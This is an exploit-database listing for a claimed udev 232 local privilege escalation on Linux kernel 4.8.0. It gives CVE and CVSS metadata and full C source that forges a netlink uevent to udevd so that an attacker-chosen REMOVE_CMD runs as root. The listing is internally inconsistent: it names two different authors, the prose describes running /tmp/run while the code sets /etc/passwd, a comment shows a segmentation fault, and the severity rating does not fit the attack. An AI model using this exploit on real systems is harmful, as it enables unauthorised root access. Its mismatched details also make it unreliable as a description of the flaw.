Exploitalert - Database of Exploits

Linux Kernel 4.8.0 udev 232 Privilege Escalation

CVE	Category	Price	Severity
CVE-2017-7874	CWE-276	$10,000	High

Author	Risk	Exploitation Type	Date
Mikhail Novikov	High	Local	2017-04-15

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	High	AC	The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017040097

Linux Kernel 4.8.0 udev 232 Privilege Escalation# Title: Linux Kernel 4.8.0 udev 232 - Privilege Escalation # Author: Nassim Asrir # Researcher at: Henceforth # Author contact: [email protected] || https://www.linkedin.com/in/nassim-asrir-b73a57122/ # The full Research: https://www.facebook.com/asrirnassim/ # CVE: CVE-2017-7874 # Exp # first of all we need to know a small infos about udev and how it work the udev deamon is responsible for receiving device events from the kernel and this event are delivered to udev via netlink (is a socket family) you can read more about udev from: https://en.wikipedia.org/wiki/Udev # Exploit # The udev vulnerability resulted from a lack of verification of the netlink message source in udevd. read lines from: /lib/udev/rules.d/50-udev-default.rules all we need is this action: ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}" this action allows execution of arbitrary commands. in our exploit we specifying a malicious REMOVE_CMD and causes the privileged execution of attacker-controlled /tmp/run file. Get your udev version: Execute: $ udevadm --version //output: 232 Maybe < 232 also is vulnerable // gcc rootme.c -o rootme // ./rootme // segmantation fault #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/types.h> #include <linux/netlink.h> #ifndef NETLINK_KOBJECT_UEVENT #define NETLINK_KOBJECT_UEVENT 15 #endif int main(int argc, char **argv) { int sock; char *mp; char message[4096]; struct msghdr msg; struct iovec iovector; struct sockaddr_nl address; memset(&address, 0, sizeof(address)); address.nl_family = AF_NETLINK; address.nl_pid = atoi(argv[1]); address.nl_groups = 0; msg.msg_name = (void*)&address; msg.msg_namelen = sizeof(address); msg.msg_iov = &iovector; msg.msg_iovlen = 1; sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(sock, (struct sockaddr *) &address, sizeof(address)); mp = message; mp += sprintf(mp, "a@/d") + 1; mp += sprintf(mp, "SUBSYSTEM=block") + 1; mp += sprintf(mp, "DEVPATH=/dev/foo") + 1; mp += sprintf(mp, "TIMEOUT=10") + 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=/etc/passwd") +1; iovector.iov_base = (void*)message; iovector.iov_len = (int)(mp-message); sendmsg(sock, &msg, 0); close(sock); return 0; }

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